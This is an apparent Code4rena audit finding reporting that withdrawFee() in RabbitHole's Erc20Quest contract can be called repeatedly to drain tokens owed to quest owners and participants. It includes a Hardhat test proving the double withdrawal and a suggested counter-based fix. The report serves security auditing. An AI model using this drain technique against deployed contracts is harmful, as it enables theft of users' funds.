Protocol fee can be withdrawn multiple times

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102

Vulnerability details

Impact

After a quest finishes, there will be some tokens left over. Beside the protocolFee, some of these tokens belong to the quest owner, and some of them belong to participants who have not claimed their reward.

However, withdrawFee() can be called multiple times, and protocolFee() does not decrease. So, anyone can call the withdrawFee function multiple times to drain all the tokens from the Erc20Quest contract to the protocolFeeRecipient.

Proof of Concept

Add the following test to Erc20Quest.spec.ts. It successfully calls withdrawFee twice, getting twice the protocolFee it's supposed to.

describe('withdrawFee()', async () => {
    it('withdrawFee can be called multiple times', async () => {
      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()
      await ethers.provider.send('evm_increaseTime', [86400])
      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)

      await deployedQuestContract.connect(firstAddress).claim()
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(1 * 1000)
      expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100)

      await ethers.provider.send('evm_increaseTime', [100001])
      await deployedQuestContract.withdrawFee()

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        totalRewardsPlusFee * 100 - 1 * 1000 - 200
      )
      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(200)

      await deployedQuestContract.withdrawFee()

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        totalRewardsPlusFee * 100 - 1 * 1000 - 400
      )
      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(400)


      await ethers.provider.send('evm_increaseTime', [-100001])
      await ethers.provider.send('evm_increaseTime', [-86400])
    })
  })

Tools Used

VSCode, hardhat

Recommended Mitigation Steps

Maintain a counter initialized to 0 (say protocolFeeCount). Set it to receiptRedeemers() at the end of withdrawFee().

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L97
Then, in protocolFee(), this line should be changed to return ((receiptRedeemers() - protocolFeeCount)* rewardAmountInWeiOrTokenId * questFee) / 10_000;

[c4-judge]

kirk-baird marked the issue as duplicate of #23

[c4-judge]

kirk-baird marked the issue as satisfactory